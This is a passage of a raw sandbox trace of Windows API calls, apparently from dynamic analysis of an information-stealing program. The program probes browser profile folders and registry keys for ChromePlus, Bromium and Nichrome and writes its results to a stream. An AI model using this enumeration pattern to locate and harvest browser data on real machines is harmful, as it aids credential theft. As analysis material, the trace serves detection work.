lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" [0079.536] LocalFree (hMem=0x66b940) returned 0x0 [0079.536] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned 41 [0079.536] lstrlenA (lpString="\\*.*") returned 4 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.536] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" [0079.536] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*" [0079.536] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.536] LocalFree (hMem=0x647b70) returned 0x0 [0079.536] LocalFree (hMem=0x647ab8) returned 0x0 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.536] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.536] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.536] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652cb0 [0079.536] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.536] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\ChromePlus" | out: lpString1="C:\\ProgramData\\ChromePlus") returned="C:\\ProgramData\\ChromePlus" [0079.536] LocalFree (hMem=0x66b940) returned 0x0 [0079.536] lstrlenA (lpString="C:\\ProgramData\\ChromePlus") returned 25 [0079.536] lstrlenA (lpString="\\*.*") returned 4 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652d58 [0079.536] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\ChromePlus" | out: lpString1="C:\\ProgramData\\ChromePlus") returned="C:\\ProgramData\\ChromePlus" [0079.536] lstrcatA (in: lpString1="C:\\ProgramData\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\ChromePlus\\*.*") returned="C:\\ProgramData\\ChromePlus\\*.*" [0079.536] FindFirstFileA (in: lpFileName="C:\\ProgramData\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.536] LocalFree (hMem=0x652d58) returned 0x0 [0079.536] LocalFree (hMem=0x652cb0) returned 0x0 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.536] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.536] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.537] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.537] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652cb0 [0079.537] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.537] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\ChromePlus" | out: lpString1="C:\\ProgramData\\ChromePlus") returned="C:\\ProgramData\\ChromePlus" [0079.537] LocalFree (hMem=0x66b940) returned 0x0 [0079.537] lstrlenA (lpString="C:\\ProgramData\\ChromePlus") returned 25 [0079.537] lstrlenA (lpString="\\*.*") returned 4 [0079.537] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652d58 [0079.537] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\ChromePlus" | out: lpString1="C:\\ProgramData\\ChromePlus") returned="C:\\ProgramData\\ChromePlus" [0079.537] lstrcatA (in: lpString1="C:\\ProgramData\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\ChromePlus\\*.*") returned="C:\\ProgramData\\ChromePlus\\*.*" [0079.537] FindFirstFileA (in: lpFileName="C:\\ProgramData\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.537] LocalFree (hMem=0x652d58) returned 0x0 [0079.537] LocalFree (hMem=0x652cb0) returned 0x0 [0079.537] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb0 | out: phkResult=0x12feb0*=0x0) returned 0x2 [0079.537] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe84 | out: phkResult=0x12fe84*=0x0) returned 0x2 [0079.537] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ChromePlus", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe58 | out: phkResult=0x12fe58*=0x0) returned 0x2 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.537] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.537] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.537] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.537] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.538] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.538] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x35, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.538] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.538] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.538] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.538] lstrlenA (lpString="\\Bromium") returned 8 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.538] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" [0079.538] LocalFree (hMem=0x66b940) returned 0x0 [0079.538] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned 40 [0079.538] lstrlenA (lpString="\\*.*") returned 4 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.538] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" [0079.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*" [0079.538] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.538] LocalFree (hMem=0x647b70) returned 0x0 [0079.538] LocalFree (hMem=0x647ab8) returned 0x0 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.538] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.538] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.538] lstrlenA (lpString="\\Bromium") returned 8 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.538] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" [0079.538] LocalFree (hMem=0x66b940) returned 0x0 [0079.538] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned 40 [0079.538] lstrlenA (lpString="\\*.*") returned 4 [0079.538] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.538] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium" [0079.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*" [0079.538] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.538] LocalFree (hMem=0x647b70) returned 0x0 [0079.539] LocalFree (hMem=0x647ab8) returned 0x0 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.539] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.539] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.539] lstrlenA (lpString="\\Bromium") returned 8 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.539] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.539] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" [0079.539] LocalFree (hMem=0x66b940) returned 0x0 [0079.539] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned 38 [0079.539] lstrlenA (lpString="\\*.*") returned 4 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.539] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" [0079.539] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*" [0079.539] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.539] LocalFree (hMem=0x647ab8) returned 0x0 [0079.539] LocalFree (hMem=0x629248) returned 0x0 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.539] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.539] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.539] lstrlenA (lpString="\\Bromium") returned 8 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.539] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.539] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" [0079.539] LocalFree (hMem=0x66b940) returned 0x0 [0079.539] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned 38 [0079.539] lstrlenA (lpString="\\*.*") returned 4 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.539] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium" [0079.539] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*" [0079.539] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.539] LocalFree (hMem=0x647ab8) returned 0x0 [0079.539] LocalFree (hMem=0x629248) returned 0x0 [0079.539] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.539] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.539] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.539] lstrlenA (lpString="\\Bromium") returned 8 [0079.540] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.540] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.540] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Bromium" | out: lpString1="C:\\ProgramData\\Bromium") returned="C:\\ProgramData\\Bromium" [0079.540] LocalFree (hMem=0x66b940) returned 0x0 [0079.540] lstrlenA (lpString="C:\\ProgramData\\Bromium") returned 22 [0079.540] lstrlenA (lpString="\\*.*") returned 4 [0079.540] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0079.540] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Bromium" | out: lpString1="C:\\ProgramData\\Bromium") returned="C:\\ProgramData\\Bromium" [0079.540] lstrcatA (in: lpString1="C:\\ProgramData\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Bromium\\*.*") returned="C:\\ProgramData\\Bromium\\*.*" [0079.540] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.540] LocalFree (hMem=0x652cb0) returned 0x0 [0079.540] LocalFree (hMem=0x670c38) returned 0x0 [0079.540] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.540] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.540] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.540] lstrlenA (lpString="\\Bromium") returned 8 [0079.540] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.540] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.540] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Bromium" | out: lpString1="C:\\ProgramData\\Bromium") returned="C:\\ProgramData\\Bromium" [0079.540] LocalFree (hMem=0x66b940) returned 0x0 [0079.540] lstrlenA (lpString="C:\\ProgramData\\Bromium") returned 22 [0079.540] lstrlenA (lpString="\\*.*") returned 4 [0079.540] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0079.540] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Bromium" | out: lpString1="C:\\ProgramData\\Bromium") returned="C:\\ProgramData\\Bromium" [0079.540] lstrcatA (in: lpString1="C:\\ProgramData\\Bromium", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Bromium\\*.*") returned="C:\\ProgramData\\Bromium\\*.*" [0079.540] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Bromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.540] LocalFree (hMem=0x652cb0) returned 0x0 [0079.540] LocalFree (hMem=0x670c38) returned 0x0 [0079.540] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.540] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.540] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.541] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.541] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.541] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.541] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.541] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.541] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.541] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.541] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x36, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.541] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.541] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.541] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.541] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.541] lstrlenA (lpString="\\Nichrome") returned 9 [0079.541] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.541] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.541] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" [0079.541] LocalFree (hMem=0x66b940) returned 0x0 [0079.541] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned 41 [0079.541] lstrlenA (lpString="\\*.*") returned 4 [0079.541] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.541] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" [0079.541] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*" [0079.541] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.541] LocalFree (hMem=0x647b70) returned 0x0 [0079.541] LocalFree (hMem=0x647ab8) returned 0x0 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.542] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.542] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.542] lstrlenA (lpString="\\Nichrome") returned 9 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.542] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.542] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" [0079.542] LocalFree (hMem=0x66b940) returned 0x0 [0079.542] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned 41 [0079.542] lstrlenA (lpString="\\*.*") returned 4 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.542] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome" [0079.542] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*" [0079.542] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.542] LocalFree (hMem=0x647b70) returned 0x0 [0079.542] LocalFree (hMem=0x647ab8) returned 0x0 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.542] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.542] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.542] lstrlenA (lpString="\\Nichrome") returned 9 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.542] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.542] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" [0079.542] LocalFree (hMem=0x66b940) returned 0x0 [0079.542] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") returned 39 [0079.542] lstrlenA (lpString="\\*.*") returned 4 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.542] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" [0079.542] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*" [0079.542] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.542] LocalFree (hMem=0x647ab8) returned 0x0 [0079.542] LocalFree (hMem=0x629248) returned 0x0 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.542] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.542] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.542] lstrlenA (lpString="\\Nichrome") returned 9 [0079.542] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.543] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.543] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") 